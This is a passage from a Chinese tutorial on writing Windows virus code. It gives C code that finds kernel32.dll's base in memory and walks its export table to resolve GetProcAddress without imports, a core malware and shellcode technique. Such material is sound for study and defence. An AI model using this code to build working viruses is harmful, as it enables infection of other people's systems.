mov eax , [ebp]
mov eax , [eax+4]
mov addr,eax
这段代码是工程 GetApiAddr 中的实现方法,因为病毒代码并不需要经过启动代码,所
以工程 virus 的实现方法略有所不同,但跟踪分析的原理是一样的,读者可以去分析练习一
下。
搜索 kernel32.dll 的基址
按 windows系统的设计,装入 dll 文件时要从一个独立页开始,装载基址处的内容也是
一个标准 PE 文件的开始。我们可以搜索返回地址低地址附近几个页的开始位置,看看是否
具有 DOS 文件头,NT 文件头等 PE 文件的起始标志,有这个标志的页就是 kernel32.dll 装
载的起始页。按这个方法,首先要得到返回地址所在页的起始地址,方法如下:
KernelBase = KernelBase & 0Xffff0000; //与后面的值进行并操作,得到页起始地址
然后检查本页起始处是否有PE文件的起始标志,如果没有则查找低地址页的起始位置,
循环下去直到找到kernel32.dll的基址。代码如下:
IMAGE_DOS_HEADER *doshead;
while(KernelBase >= 0X70000000)
寻找 GetProcAddress的内存地址
//如果搜索到0X70000000,还没有找到的话说明已经不可能再找到了,直接退出
//此句防止一个错误的值使程序出现异常
{
//首先检查dos文件头
doshead = (IMAGE_DOS_HEADER*)KernelBase;
if(doshead->e_magic == IMAGE_DOS_SIGNATURE)
{
//再检查 NT 文件头
IMAGE_NT_HEADERS* nthead;
nthead = (IMAGE_NT_HEADERS*)((LPBYTE)doshead+doshead->e_lfanew);
if(nthead->Signature == IMAGE_NT_SIGNATURE)
{
break; //成功了,退出
}
}
KernelBase-=0x10000; //向低地址移动一个页面
}
寻找 GetProcAddress的内存地址
这个搜索过程的原理是搜索 kernel32.dll 的导出表,把导出函数的名字与字符串
GetProcAddress进行匹配,相等时,就可以得到函数的基址了。学习这部分关键是对PE文
件的导出表格式要有所了解,详细知识可以去参考罗云彬的《windows 环境下 32 位汇编语
言程序设计》,看雪论坛的《加密与解密》等书,这里我就不费篇幅去写了。代码如下:
DWORD AddrOfGetProcAddr , AddrOfLoadLib;
IMAGE_DOS_HEADER* pFile1; //指向dos文件头
IMAGE_NT_HEADERS* pFile2; //指向 nt文件头
pFile1 = (IMAGE_DOS_HEADER* )KernelBase;
pFile2 = (IMAGE_NT_HEADERS*)((PBYTE)pFile1 + pFile1->e_lfanew);
//检查文件的合法性,此处略去,详见源代码
IMAGE_EXPORT_DIRECTORY *pExport;
pExport=(IMAGE_EXPORT_DIRECTORY*)((PBYTE)pFile1+pFile2->OptionalHeader.
DataDirectory[0].VirtualAddress);
//以下在导出表中搜索名字为"GetProcAddress"的导出函数
char *FunName;
DWORD *AddrOfNameRVA;
WORD *AddrOfNameOrRVA;
AddrOfNameRVA = (DWORD*)(KernelBase + pExport->AddressOfNames);
for (int i = 0 ; i < (int)pExport->NumberOfNames ; i++)
{
//得到一个导出函数的名字
FunName = (char*)(KernelBase + AddrOfNameRVA[i]);
//函数名与字符串"GetProcAddress"进行比较
//为避免使用API,此处必须自己实现比较过程
BOOL eql = 1; //布尔类型变量
for (int j = 0 ; j < 15 ; j ++)
{
if (GetProcAddrName[j] != FunName[j])
{
eql = 0;
break;
}
}
//如果 eql为 1,说明找到了,再去得到这个导出函数的基址
if (eql)
{
AddrOfNameOrRVA=(WORD*)(KernelBase+pExport->AddressOfNameOrdinals)
;
int num = 0;
num = pExport->Base + AddrOfNameOrRVA[i];
DWORD *AddrOfFun;
AddrOfFun = (DWORD*)(KernelBase + pExport->AddressOfFunctions);
//地址保存在变量AddrOfGetProcAddr中
AddrOfGetProcAddr = KernelBase + AddrOfFun[num - 1];
break;
}
此时我们已经得到了 GetProcAddress 的基址,下面是调用这个函数得到 LoadLibrary
的基址,然后再调用LoadLibrary导入 User32.dll,再用 GetProcAddress得到MessageBox
的基址。这些代码都很简单,这里不再列举了。需要注意的是在Virus工程中的VirusCode
函数中,不能出现任何的函数调用,甚至 cout 都不行。另外,病毒代码中也不能出现任何 |